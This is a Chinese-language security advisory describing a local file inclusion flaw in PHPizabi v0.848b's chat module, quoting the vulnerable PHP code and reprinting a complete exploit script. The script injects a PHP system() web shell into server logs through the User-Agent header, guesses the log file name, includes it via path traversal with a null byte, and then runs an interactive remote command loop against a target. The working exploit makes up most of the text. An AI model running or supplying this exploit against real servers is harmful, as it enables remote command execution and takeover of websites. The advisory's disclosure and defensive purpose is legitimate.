安全研究

安全漏洞
PHPizabi modules/chat/dac.php模块本地文件包含漏洞

发布日期:2009-03-23
更新日期:2009-03-24

受影响系统:
Real!ty Medias PHPizabi v0.848b C1 HFP1-3
描述:
BUGTRAQ  ID: 34213

PHPizabi是一款代码开源的在线交友、交流、婚介、商务合作系统。

PHPizabi的modules/chat/dac.php模块中没有正确地验证用户所提交的commandArgs命令参数,远程攻击者可以通过向服务器提交恶意请求导致执行任意代码。以下是有漏洞的代码段:

#    function handleSendChatData($data) {
#        if (substr($data, 0, 1) == "/") return $this -> handleChatCommand($data, $this -> channel);     # This line right here says if the string
#                                                        # begins with / it is a command so treat
#                                                        # as one and call handleChatCommand
#
#
#
#       function handleChatCommand($data, $channel) {
#            /* /! is a call to the last called command ... handle it */
#            if (substr($data, 1, 1) == "!" and isset($_SESSION["triton"]["lastcommand"]))
#                $data = $_SESSION["triton"]["lastcommand"];
#
#            /* Convert illegal character entities */
#            $entities = array(";"=>"&#059;", "\""=>"&quot;", "'"=>"&#039;", "<"=>"&lt;", ">"=>"&gt;", "\\"=>"&#092;", "^"=>"&#094;");
#            $data = strtr(stripslashes($data), $entities);
#
#            $commandArgs = explode(" ", substr($data, 1));                                                              # commandArgs is set using data which hasnt sanitized.
#            if (is_file("commands/".$commandArgs[0].".php") and @include("commands/".$commandArgs[0].".php")) {         # commands are stored in their own files and included each call to them.
#                $_SESSION["triton"]["lastcommand"] = $data;
#                t_command::runCommand($commandArgs, $channel);
#            }
#            else $this -> localEcho('ERR_NOCOMMAND', array($commandArgs[0]));
#        } */
#

<*来源:youcode (icode00@gmail.com
  
  链接:http://milw0rm.com/exploits/8268
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/php
<?php

function usage()
{
    $usage="_________________________________________________________________\n\n";
    $usage.="    PHPizabi v0.848b C1 HFP1-3 Remote Command Execution       \n";
    $usage.="        by youcode    icode00@gmail.com          \n";
    $usage.="_________________________________________________________________\n";
    $usage.="Usage: \n\n";
    $usage.=basename($_SERVER['PHP_SELF'])." HOST PATH  \n\n";
    $usage.="    HOST        remote host\n";
    $usage.="    PATH        path to phpizabi\n";
    die($usage);
}

function timestampStr($host,$path,$port=80)
{
    $packet="GET ".$path."index.php HTTP/1.0\r\n";
    $packet.="User-Agent: phpinj 0.1 <?php if(!isset(\$_GET['xyz']))die(\"FindThisTag-9203842398\");system(\$_GET['xyz']);die(); ?>\r\n";
    if(80==$port)
    {
        $packet.="Host: ".$host."\r\n";
    }else{
        $packet.="Host: ".$host.":".$port."\r\n";
    }
    $packet.="Connection: Close\r\n\r\n";
    $tmphostarr=gethostbynamel($host);
    if($tmphostarr===FALSE)
    {
        die("Failed to resolve hostname $host.\n");
    }
    $packetsent=0;
    foreach ($tmphostarr as $host)
    {
        $ock=fsockopen($host,$port);
        if(!$ock)
        {
            fclose($ock);
            continue;
        }
        fputs($ock,$packet);
        $packetsent=1;
        $response="";
        while (!feof($ock))
        {
            $response.=fgets($ock);
        }
        fclose($ock);
        if($packetsent)
            break;
    }
    if(!$packetsent)
        die("Failed to connect to $host.\nError: ".socket_strerror(socket_last_error($ock))."\n");
    $datePos=strpos($response,"Date:");
    $datePos+=6;
    $tmpbreakPos=strpos($response,"\r\n",$datePos);
    $breakPos=$tmpbreakPos-$datePos;
    $dateStr=substr($response,$datePos,$breakPos);
    $dateArr=explode(" ",$dateStr);
    $months = array ( "Jan" => 1, "Feb" => 2, "Mar" => 3, "Apr" => 4, "May" => 5, "Jun" => 6, "Jul" => 7, "Aug" => 8, "Sep" => 9, "Oct" => 10, "Nov" => 11, "Dec" => 12 );
    foreach($months as $key => $val){
        if(stripos($dateArr[2],$key)!==FALSE)
            $monthNumber=$val;
    }
    $tmphourArr=explode(":",$dateStr);
    if(is_array($tmphourArr))
    {
        $hour=substr($tmphourArr[0],-2,2);
        $timestampStr=mktime($hour,0,0,$monthNumber,$dateArr[1],$dateArr[3]);
    }else{
        $timestampStr=mktime();
    }
    return $timestampStr;
}

function findfilename($host,$path,$start,$mode=0,$port=80)
{
    $date=$start;
    $foundtag=0;
    $tmphostarr=gethostbynamel($host);
    if($tmphostarr===FALSE)
    {
        die("Failed to resolve hostname $host.\n");
    }
    for($i=0;$i<=36;$i++)
    {
        $packet="GET ".$path."modules/chat/dac.php?sendChatData=/../../../system/cache/logs/".$date.".log\\0 HTTP/1.0\r\n";
        $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
        if(80==$port)
        {
            $packet.="Host: ".$host."\r\n";
        }else{
            $packet.="Host: ".$host.":".$port."\r\n";
        }
        $packet.="Connection: Close\r\n\r\n";
        $packetsent=0;
        foreach ($tmphostarr as $remotehost)
        {
            $ock=fsockopen($remotehost,$port);
            if(!$ock)
            {
                fclose($ock);
                continue;
            }
            fputs($ock,$packet);
            $packetsent=1;
            $response="";
            while (!feof($ock))
            {
                $response.=fgets($ock);
            }
            fclose($ock);
            if($packetsent)
                break;
        }
        if(!$packetsent)
            die("Failed to connect to $host.\nError: ".socket_strerror(socket_last_error($ock))."\n");
        if((strpos($response,"FindThisTag-9203842398"))!==FALSE)
        {
            $foundtag=1;
            break;
        }
        if($mode==0)
        {
            $date-=3600;
        }else{
            $date+=3600;
        }
    }
    if($foundtag)
    {
        return $date;
    }else{
        return FALSE;
    }
}


if($argc < 3)
    usage();
$hoststring=$argv[1];
$path=$argv[2];
$date=timestampStr($hoststring,$path);
echo "timestamp is $date.  Using this as start point and attempting to locate log file.\n";
$remotelog=findfilename($hoststring,$path,$date);
if(!$remotelog)
    $remotelog=findfilename($hoststring,$path,$date,1);
if(!$remotelog)
    die("Failed to find the log file name.  Cant include a file that cant be found :(\n");
echo "Found log file: $remotelog.log\nBeginning command execution. . .\n";
$tmpportarr=explode(":",$hoststring);
if(isset($tmpportarr[1]))
{
    $hoststring=$tmpportarr[0];
    $remoteport=$tmpportarr[1];
}else{
    $remoteport=80;
}
$tmphostarr=gethostbynamel($hoststring);
if($tmphostarr===FALSE)
{
    die("Failed to resolve hostname $hoststring.\n");
}
for(;;)
{
    echo "#> ";
    $cmd=urlencode(fgets(STDIN));
    $packet="GET ".$path."modules/chat/dac.php?sendChatData=/../../../system/cache/logs/".$remotelog.".log\\0&xyz=".$cmd." HTTP/1.0\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
    if(80==$remoteport)
    {
        $packet.="Host: ".$hoststring."\r\n";
    }else{
        $packet.="Host: ".$hoststring.":".$remoteport."\r\n";
    }
    $packet.="Connection: Close\r\n\r\n";
    $packetsent=0;
    foreach ($tmphostarr as $remotehost)
    {
        $ock=fsockopen($remotehost,$remoteport);
        if(!$ock)
        {
            fclose($ock);
            continue;
        }
        fputs($ock,$packet);
        $packetsent=1;
        $response="";
        while (!feof($ock))
        {
            $response.=fgets($ock);
        }
        fclose($ock);
        if($packetsent)
            break;
    }
    if(!$packetsent)
    {
        echo "Failed to connect to $hoststring.\nError: ".socket_strerror(socket_last_error($ock))."\n";
        break;
    }
    $cmdOutput=strstr($response,"phpinj 0.1 ");
    $cmdOutput=str_replace("phpinj 0.1 ","",$cmdOutput);
    echo "\n\n$cmdOutput\n\n";
}

?>

建议:
厂商补丁:

Real!ty Medias
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpizabi.net/?L=home.index

浏览次数:40611
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障